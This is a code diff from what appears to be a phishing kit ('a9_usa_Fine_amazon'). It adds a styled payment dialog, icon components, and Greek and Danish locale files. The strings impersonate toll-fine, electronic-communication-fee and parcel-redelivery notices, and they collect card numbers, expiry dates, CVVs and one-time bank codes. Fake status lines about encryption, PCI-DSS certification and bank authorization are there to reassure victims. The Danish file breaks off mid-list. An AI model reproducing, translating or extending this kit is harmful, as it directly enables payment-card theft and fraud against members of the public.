||||
|
||||
.plm-header-title {
|
||||
color: #1e293b;
|
||||
font-size: 14px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1px;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
.plm-header-sub {
|
||||
color: #94a3b8;
|
||||
font-size: 11.5px;
|
||||
}
|
||||
|
||||
.plm-header-pct {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
color: var(#007BFF, #007BFF);
|
||||
letter-spacing: -0.5px;
|
||||
min-width: 44px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
/* ===== Dialog Body ===== */
|
||||
.plm-dialog-body {
|
||||
padding: 22px 20px 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
/* ===== Card + progress center ===== */
|
||||
.plm-center-wrap {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.plm-card-logo {
|
||||
width: 120px;
|
||||
height: 76px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
border-radius: 10px;
|
||||
background: #f8fafc;
|
||||
border: 1px solid #e8edf3;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-card-logo img {
|
||||
width: 72%;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.plm-scan-line {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -10%;
|
||||
width: 8px;
|
||||
height: 100%;
|
||||
background: rgba(255, 255, 255, 0.85);
|
||||
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
|
||||
animation: plm-scan 2.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-scan {
|
||||
0% { left: -10%; }
|
||||
100% { left: 110%; }
|
||||
}
|
||||
|
||||
/* ===== Progress ===== */
|
||||
.plm-progress-section {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.plm-progress-track {
|
||||
width: 100%;
|
||||
height: 4px;
|
||||
background: #e8edf3;
|
||||
border-radius: 99px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.plm-progress-fill {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg,
|
||||
var(--global-primary-color, #4f7ef8) 0%,
|
||||
#93c5fd 50%,
|
||||
var(--global-primary-color, #4f7ef8) 100%);
|
||||
background-size: 200% 100%;
|
||||
border-radius: 99px;
|
||||
transition: width 0.6s ease;
|
||||
animation: plm-shimmer 2.5s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-shimmer {
|
||||
0% { background-position: 200% center; }
|
||||
100% { background-position: -200% center; }
|
||||
}
|
||||
|
||||
/* ===== Status message ===== */
|
||||
.plm-status-msg {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 7px;
|
||||
font-size: 12.5px;
|
||||
color: #64748b;
|
||||
min-height: 18px;
|
||||
text-align: center;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-dot-pulse {
|
||||
display: inline-block;
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: var(--global-primary-color, #4f7ef8);
|
||||
flex-shrink: 0;
|
||||
animation: plm-pulse 1.6s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-pulse {
|
||||
0%, 100% { opacity: 1; transform: scale(1); }
|
||||
50% { opacity: 0.3; transform: scale(0.65); }
|
||||
}
|
||||
|
||||
/* ===== Divider ===== */
|
||||
.plm-divider {
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: #f1f5f9;
|
||||
}
|
||||
|
||||
/* ===== Security badges ===== */
|
||||
.plm-badges {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.plm-badge {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
color: #94a3b8;
|
||||
font-size: 10.5px;
|
||||
font-weight: 500;
|
||||
white-space: nowrap;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-badge svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
fill: #86efac;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-badge-sep {
|
||||
width: 1px;
|
||||
height: 10px;
|
||||
background: #e2e8f0;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Transaction details ===== */
|
||||
.plm-details {
|
||||
width: 100%;
|
||||
background: #f8fafc;
|
||||
border-radius: 12px;
|
||||
padding: 14px 16px;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #edf2f7;
|
||||
}
|
||||
|
||||
.plm-details-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
font-size: 10.5px;
|
||||
font-weight: 600;
|
||||
color: #94a3b8;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.8px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.plm-details-title svg {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
fill: #cbd5e1;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-detail-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 6px 0;
|
||||
font-size: 12.5px;
|
||||
border-bottom: 1px dashed #edf2f7;
|
||||
}
|
||||
|
||||
.plm-detail-row:last-child {
|
||||
border-bottom: none;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
.plm-detail-label {
|
||||
color: #94a3b8;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.plm-detail-val {
|
||||
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
|
||||
color: #475569;
|
||||
font-weight: 600;
|
||||
font-size: 11.5px;
|
||||
letter-spacing: 0.3px;
|
||||
max-width: 55%;
|
||||
text-align: right;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.plm-green {
|
||||
color: #22c55e;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
|
||||
<path
|
||||
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
7
a9_usa_Fine_amazon/src/components/icons/IconSupport.vue
Normal file
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
19
a9_usa_Fine_amazon/src/components/icons/IconTooling.vue
Normal file
@@ -0,0 +1,19 @@
|
||||
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
|
||||
<template>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
aria-hidden="true"
|
||||
role="img"
|
||||
class="iconify iconify--mdi"
|
||||
width="24"
|
||||
height="24"
|
||||
preserveAspectRatio="xMidYMid meet"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
|
||||
fill="currentColor"
|
||||
></path>
|
||||
</svg>
|
||||
</template>
|
||||
132
a9_usa_Fine_amazon/src/locales/cy/index.ts
Normal file
@@ -0,0 +1,132 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
|
||||
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
|
||||
"Your Name": "Το όνομά σας",
|
||||
"Address": "Διεύθυνση",
|
||||
"Detailed Address": "Λεπτομερής Διεύθυνση",
|
||||
"(Optional)": "(Προαιρετικό)",
|
||||
"City": "Πόλη",
|
||||
"State": "Πολιτεία",
|
||||
"Province": "Επαρχία",
|
||||
"Region": "Περιοχή",
|
||||
"Zip Code": "Ταχυδρομικός Κώδικας",
|
||||
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
|
||||
"Next": "Επόμενο",
|
||||
"Telephone Number": "Αριθμός Τηλεφώνου",
|
||||
"Online": "Online",
|
||||
"Payment": "Πληρωμή",
|
||||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
|
||||
"lump sum: ": "Εφάπαξ: ",
|
||||
"Cardholder": "Κάτοχος Κάρτας",
|
||||
"Card Number": "Αριθμός Κάρτας",
|
||||
"Expire Date": "Ημερομηνία Λήξης",
|
||||
"Security Code": "Κωδικός Ασφαλείας",
|
||||
"Submit": "Υποβολή",
|
||||
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
|
||||
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
|
||||
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
|
||||
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
|
||||
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
|
||||
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
|
||||
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
|
||||
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
|
||||
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
|
||||
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
|
||||
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
|
||||
"Mailing address": "Διεύθυνση Αποστολής",
|
||||
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
|
||||
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
|
||||
"Safe payment": "Ασφαλής Πληρωμή",
|
||||
"Verification code": "Κωδικός Επαλήθευσης",
|
||||
"Welcome": "Καλώς ήρθατε",
|
||||
"back": "Πίσω!",
|
||||
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
|
||||
"Check your points": "Ελέγξτε τους πόντους σας",
|
||||
"Phone number": "Αριθμός Τηλεφώνου",
|
||||
"Inquire": "Ρωτήστε",
|
||||
"Exchange": "Ανταλλαγή",
|
||||
"Spend points": "Ξοδέψτε Πόντους",
|
||||
"Points Available": "Διαθέσιμοι Πόντοι",
|
||||
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
|
||||
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
|
||||
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
|
||||
"Order number": "Αριθμός Παραγγελίας: ",
|
||||
"Pay": "Πληρωμή",
|
||||
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
|
||||
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
|
||||
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
|
||||
"Billing Information": "Πληροφορίες Τιμολόγησης",
|
||||
"Description": "Περιγραφή",
|
||||
"Dear customer": "Αγαπητέ πελάτη:",
|
||||
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
|
||||
"Invoice Number": "Αριθμός Τιμολογίου",
|
||||
"Amount": "Ποσό",
|
||||
"Pay Immediately": "Πληρώστε Άμεσα",
|
||||
"Phone Number": "Αριθμός Τηλεφώνου",
|
||||
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
|
||||
"Illustrate": "Επεξηγήστε",
|
||||
"SSL Encryption": "Κρυπτογράφηση SSL",
|
||||
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
|
||||
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
|
||||
"Transaction ID:": "Αριθμός Συναλλαγής:",
|
||||
"Processing Network:": "Δίκτυο Επεξεργασίας:",
|
||||
"Processing Time:": "Χρόνος Επεξεργασίας:",
|
||||
"Security Level:": "Επίπεδο Ασφαλείας:",
|
||||
"Preparing...": "Προετοιμασία...",
|
||||
"High": "Υψηλό",
|
||||
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
|
||||
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
|
||||
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
|
||||
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
|
||||
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
|
||||
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
|
||||
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
|
||||
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
|
||||
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
|
||||
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
|
||||
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
|
||||
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
|
||||
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
|
||||
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
|
||||
"UnionPay Gateway": "Πύλη UnionPay",
|
||||
"{time} seconds": "{time} δευτερόλεπτα",
|
||||
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
|
||||
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
|
||||
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
|
||||
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
|
||||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
|
||||
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
|
||||
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
|
||||
"Toll Payment": "Πληρωμή Διοδίων",
|
||||
"License Plate Number": "Αριθμός Κυκλοφορίας",
|
||||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
|
||||
|
||||
"Tolls": "Διόδια",
|
||||
"Due Date": "Ημερομηνία Λήξης",
|
||||
|
||||
"Fine Amount": "Ποσό προστίμου",
|
||||
|
||||
"Pay Now": "Πληρώστε Τώρα",
|
||||
|
||||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
|
||||
|
||||
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
|
||||
"First and Last Name": "Όνομα και Επώνυμο",
|
||||
|
||||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||
"Expiration Date": "Ημερομηνία Λήξης",
|
||||
"MM/YY": "MM/ΕΕ",
|
||||
|
||||
"123(CVV)": "123(CVV)",
|
||||
"Card Icon": "Εικονίδιο Κάρτας",
|
||||
"CVV": "CVV",
|
||||
|
||||
|
||||
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
|
||||
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
|
||||
"Phone": "Τηλέφωνο",
|
||||
"Toll Amount": "Ποσό Διοδίων",
|
||||
"50.00 EUR": "50.00 EUR"
|
||||
};
|
||||
96
a9_usa_Fine_amazon/src/locales/dk/index.ts
Normal file
@@ -0,0 +1,96 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
|
||||
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
|
||||
"Your Name": "Dit navn",
|
||||
"Address": "Adresse",
|
||||
"Detailed Address": "Detaljeret adresse",
|
||||
"(Optional)": "(Valgfrit)",
|
||||
"City": "By",
|
||||
"State": "Stat",
|
||||
"Province": "Provins",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postnummer",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Næste",
|
||||
"Telephone Number": "Telefonnummer",
|
||||
"Online": "Online",
|
||||
"Payment": "Betaling",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
|
||||
"lump sum: ": "Engangsbeløb: ",
|
||||
"Cardholder": "Kortholder",
|
||||
"Card Number": "Kortnummer",
|
||||
"Expire Date": "Udløbsdato",
|
||||
"Security Code": "Sikkerhedskode",
|
||||
"Submit": "Indsend",
|
||||
"Click here to receive another code": "Klik her for at modtage en ny kode",
|
||||
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
|
||||
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
|
||||
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
|
||||
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
|
||||
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
|
||||
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
|
||||
"Authorized bank": "Autoriseret bank",
|
||||
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
|
||||
"Please do not close this page": "Luk venligst ikke denne side",
|
||||
"Payment Successful": "Betaling lykkedes!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
|
||||
"Mailing address": "Postadresse",
|
||||
"street address or house number": "Gadeadresse eller husnummer",
|
||||
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
|
||||
"Safe payment": "Sikker betaling",
|
||||
"Verification code": "Bekræftelseskode",
|
||||
"Welcome": "Velkommen",
|
||||
"back": "tilbage!",
|
||||
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
|
||||
"Check your points": "Tjek dine point",
|
||||
"Phone number": "Telefonnummer",
|
||||
"Inquire": "Forespørg",
|
||||
"Exchange": "Byt",
|
||||
"Spend points": "Brug point",
|
||||
"Points Available": "Tilgængelige point",
|
||||
"You don't have enough points": "Du har ikke nok point",
|
||||
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
|
||||
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
|
||||
"Order number": "Ordrenummer: ",
|
||||
"Pay": "Betal",
|
||||
"Pay Message": "Betal {0} for at indløse point til varer",
|
||||
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
|
||||
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
|
||||
"Billing Information": "Faktureringsoplysninger",
|
||||
"Description": "Beskrivelse",
|
||||
"Dear customer": "Kære kunde:",
|
||||
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
|
||||
"Invoice Number": "Fakturanummer",
|
||||
"Amount": "Beløb",
|
||||
"Pay Immediately": "Betal straks",
|
||||
"Phone Number": "Telefonnummer",
|
||||
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
|
||||
"Illustrate": "Illustrer",
|
||||
"SSL Encryption": "SSL-kryptering",
|
||||
"PCI-DSS Certified": "PCI-DSS-certificeret",
|
||||
"Transaction Details": "Transaktionsdetaljer",
|
||||
"Transaction ID:": "Transaktions-ID:",
|
||||
"Processing Network:": "Behandlingsnetværk:",
|
||||
"Processing Time:": "Behandlingstid:",
|
||||
"Security Level:": "Sikkerhedsniveau:",
|
||||
"Preparing...": "Forbereder...",
|
||||
"High": "Høj",
|
||||
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
|
||||
"Encrypting card information...": "Krypterer kortoplysninger...",
|
||||
